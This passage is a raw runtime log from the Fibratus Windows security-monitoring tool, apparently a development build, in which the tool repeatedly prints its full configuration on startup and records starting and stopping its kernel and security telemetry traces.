enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false buffer-size=>512 flush-interval=>1s enable-fileio=>true enable-thread=>true enable-net=>true min-buffers=>16 enable-mem=>false stack-enrichment=>true enable-dns=>false enable-vamap=>true enable-registry=>true enable-audit-api=>true enable-handle=>false enable-image=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text max-backups=>15 level=>info max-size=>100] + output ......................... [ amqp=>[ exchange-type=>topic vhost=>/ tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus durable=>false url=>amqp://localhost:5672 timeout=>5s exchange=>fibratus enabled=>false delivery-mode=>transient] http=>[ method=>POST tls-insecure-skip-verify=>false enabled=>false serializer=>json endpoints=>[] timeout=>5s enable-gzip=>false] elasticsearch=>[ gzip-compression=>false trace-log=>false healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s enabled=>false index-name=>fibratus sniff=>false flush-period=>1s] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false skip-files=>false excluded-files=>[] scan-timeout=>10s skip-mmaps=>false enabled=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:46:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T14:46:38+01:00 level=info msg=bootstrapping with pid 2584. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:46:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true flush-interval=>1s enable-thread=>true enable-net=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false stack-enrichment=>true min-buffers=>16 enable-threadpool=>false enable-dns=>false enable-vamap=>true enable-audit-api=>true enable-handle=>false max-buffers=>36 buffer-size=>512 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text level=>info max-backups=>15 max-age=>0 log-stdout=>true] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false endpoints=>[] serializer=>json method=>POST timeout=>5s] amqp=>[ delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ durable=>false enabled=>false timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus passive=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ trace-log=>false template-name=>fibratus enabled=>false timeout=>5s bulk-workers=>1 healthcheck-interval=>10s gzip-compression=>false healthcheck-timeout=>5s flush-period=>1s index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] sniff=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false enabled=>false excluded-files=>[] skip-files=>false fastscan=>true skip-allocs=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:46:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T14:46:56+01:00 level=info msg=bootstrapping with pid 7268. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:46:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false enable-fileio=>true min-buffers=>16 max-buffers=>36 enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-threadpool=>false enable-registry=>true stack-enrichment=>true enable-thread=>true buffer-size=>512 enable-handle=>false enable-audit-api=>true flush-interval=>1s enable-image=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info max-size=>100 max-backups=>15 formatter=>text max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s enabled=>false sniff=>false flush-period=>1s index-name=>fibratus template-name=>fibratus healthcheck=>true bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s trace-log=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ enable-gzip=>false timeout=>5s enabled=>false serializer=>json tls-insecure-skip-verify=>false method=>POST endpoints=>[]] amqp=>[ enabled=>false exchange-type=>topic durable=>false exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus vhost=>/ passive=>false url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false enabled=>false skip-allocs=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:46:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:46:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:50:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary source=pe/parser.go:240 +time=2025-11-22T14:51:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary source=pe/parser.go:240 +time=2025-11-22T18:52:40+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T18:52:40+01:00 level=info msg=bootstrapping with pid 15928. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T18:52:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true enable-mem=>false enable-handle=>false enable-thread=>true stack-enrichment=>true enable-fileio=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-threadpool=>false buffer-size=>512 flush-interval=>1s max-buffers=>36 enable-audit-api=>true enable-dns=>false min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 formatter=>text log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ timeout=>5s url=>amqp://localhost:5672 enabled=>false exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false passive=>false vhost=>/ exchange=>fibratus durable=>false routing-key=>fibratus] http=>[ method=>POST enable-gzip=>false serializer=>json timeout=>5s tls-insecure-skip-verify=>false enabled=>false endpoints=>[]] elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] sniff=>false bulk-workers=>1 trace-log=>false index-name=>fibratus enabled=>false healthcheck-timeout=>5s template-name=>fibratus flush-period=>1s healthcheck=>true timeout=>5s healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false scan-timeout=>10s skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true skip-registry=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T18:52:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T18:52:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T18:53:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T18:53:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T18:53:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:00:03+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:00:03+01:00 level=info msg=bootstrapping with pid 18500. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:00:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-net=>true enable-threadpool=>false enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true buffer-size=>512 enable-mem=>false enable-fileio=>true max-buffers=>36 enable-dns=>false stack-enrichment=>true enable-handle=>false enable-audit-api=>true enable-thread=>true flush-interval=>1s min-buffers=>16 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true level=>info formatter=>text] + output ......................... [ elasticsearch=>[ flush-period=>1s enabled=>false healthcheck=>true index-name=>fibratus template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false trace-log=>false healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s bulk-workers=>1 sniff=>false] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient passive=>false vhost=>/ exchange=>fibratus durable=>false timeout=>5s enabled=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} + enabled=>true format=>pretty] http=>[ serializer=>json timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false method=>POST]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-allocs=>false excluded-procs=>[] skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:00:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:00:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:01:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:01:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:01:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:02:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:02:22+01:00 level=info msg=bootstrapping with pid 19248. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:02:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false stack-enrichment=>true enable-handle=>false buffer-size=>512 enable-image=>true min-buffers=>16 enable-dns=>false enable-net=>true enable-thread=>true enable-registry=>true max-buffers=>36 flush-interval=>1s enable-fileio=>true enable-threadpool=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info max-size=>100 formatter=>text log-stdout=>true] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} + format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s enabled=>false endpoints=>[]] elasticsearch=>[ enabled=>false trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s template-name=>fibratus timeout=>5s healthcheck-interval=>10s sniff=>false healthcheck=>true servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus gzip-compression=>false] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false vhost=>/ exchange-type=>topic passive=>false exchange=>fibratus enabled=>false timeout=>5s]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s enabled=>false excluded-files=>[] fastscan=>true skip-mmaps=>false skip-files=>false skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:02:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:02:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:02:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:02:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:02:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:02:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:02:55+01:00 level=info msg=bootstrapping with pid 14120. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:02:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ port=>25 use-template=>true enabled=>false content-type=>text/html to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-vamap=>true min-buffers=>16 enable-mem=>false enable-thread=>true buffer-size=>512 flush-interval=>1s stack-enrichment=>true enable-dns=>false enable-fileio=>true enable-handle=>false enable-net=>true enable-audit-api=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-backups=>15 level=>info max-age=>0 formatter=>text] + output ......................... [ http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enabled=>false serializer=>json] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} +] elasticsearch=>[ enabled=>false index-name=>fibratus bulk-workers=>1 flush-period=>1s sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck=>true template-name=>fibratus gzip-compression=>false timeout=>5s] amqp=>[ enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus routing-key=>fibratus passive=>false durable=>false vhost=>/]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false skip-registry=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] scan-timeout=>10s skip-allocs=>false fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:02:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:02:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:04:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:04:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:04:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:04:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:04:14+01:00 level=info msg=bootstrapping with pid 19280. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:04:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-image=>true enable-thread=>true enable-threadpool=>false enable-dns=>false enable-vamap=>true enable-net=>true buffer-size=>512 min-buffers=>16 enable-handle=>false enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-mem=>false enable-fileio=>true enable-registry=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 formatter=>text max-age=>0 max-size=>100 level=>info] + output ......................... [ amqp=>[ timeout=>5s delivery-mode=>transient exchange-type=>topic exchange=>fibratus durable=>false vhost=>/ enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false passive=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s sniff=>false timeout=>5s trace-log=>false flush-period=>1s bulk-workers=>1 template-name=>fibratus healthcheck=>true enabled=>false index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} + enabled=>true format=>pretty] http=>[ serializer=>json endpoints=>[] timeout=>5s method=>POST enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-registry=>false skip-mmaps=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-files=>[] scan-timeout=>10s excluded-procs=>[] enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:04:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:04:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:04:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:04:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:04:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:05:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:05:22+01:00 level=info msg=bootstrapping with pid 17508. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:05:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true buffer-size=>512 min-buffers=>16 enable-registry=>true enable-vamap=>true enable-threadpool=>false enable-net=>true flush-interval=>1s enable-image=>true enable-mem=>false enable-dns=>false stack-enrichment=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-handle=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 max-size=>100 formatter=>text level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} +] eventlog=>[ level=>info enabled=>false] 